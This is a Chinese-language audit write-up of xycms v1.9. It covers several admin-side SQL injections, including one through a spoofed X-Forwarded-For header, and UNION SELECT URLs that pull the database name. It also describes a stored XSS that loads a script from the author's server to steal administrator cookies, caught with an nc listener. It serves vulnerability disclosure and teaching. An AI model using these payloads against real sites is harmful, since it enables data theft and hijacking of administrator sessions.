本文首发于先知社区——xycms v1.9的一次审计,转载时请标明出处
记一次xycms v1.9的审计,文章有写的不好的地方,大佬们轻喷。
网站目录结构
1 | ├── Conf(连接数据库的一些配置文件) |
后台SQL注入漏洞
第一处sql注入
/system/add_book_class.php
,关键代码如下,这里没有任何的过滤
1 | ...... |
insert函数在/Libs/Class/mysql.class.php
,内容如下,这里也并没有对插入数据库的函数进行过滤
1 | function insert($tableName, $column = array()) { |
payload:
1 | POST /system/add_book_class.php?act=ok HTTP/1.1 |
这里title
和c_order
参数都存在sql注入
获取数据库名的exp如下:
1 | import requests |
第二处sql注入
/system/loginpass.php
关键代码如下
1 | ...... |
getIp()
函数如下
1 | function getIp() { |
这里对ip没有做任何的过滤限制,我们可以用http头X-Forwarded-For
,对输入的ip进行控制,也就是说,loginpass.php
中的变量$login_ip
是可控的
insert
函数如下
1 | function insert($tableName, $column = array()) { |
这里对插入的数据也没有做任何限制
payload如下
1 | POST /system/loginpass.php HTTP/1.1 |
也就是说,我们只要能正确识别验证码,X-Forwarded-For
中提交盲注的内容,就可以进行sql注入
注入数据库名的exp.py
这里必须要安装pytesseract库
和tesseract
,这样的话ocr识别很快
1 | import requests |
第三处sql注入
/system/hf_book.php
关键代码如下,大概在这个页面的18行左右
1 | .... |
先猜测字段数目,11正确,12错误,说明字段数是11
1 | http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 11# |
1 | http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 12# |
看回显部分,字段3和字段5存在回显
1 | http://localhost:81/CMS/***cmcs/system/hf_book.php?id=11 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11# |
注入出数据库名
1 | http://localhost:81/CMS/***cms/system/hf_book.php?id=11 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11# |
小结
这里其实还有非常多的sql注入,包括insert注入,delete注入,update注入,由于文章篇幅的原因,没有一一例举。因为源头insert或者update或者delete没有做好过滤,导致了这篇漏洞,所以这里也就不再重复说明,举了几个比较典型的案例来说明
前台存储型xss
/add_do.php
1 |
|
第17行到第24行,只对sql注入进行了过滤,并没有对xss过滤,导致了这些提交字段都存在xss漏洞
然后我们到该页面,进行提交
这里我是用我的服务器进行监听,4.js
内容如下
1 | var image=new Image(); |
然后在我自己的服务器上nc监听
然后当管理员在后台点击访问新回复的时候
然后可以打到cookie并且可以成功登录
小结
其实这里也有后台存储型xss,但是很鸡肋,就不说了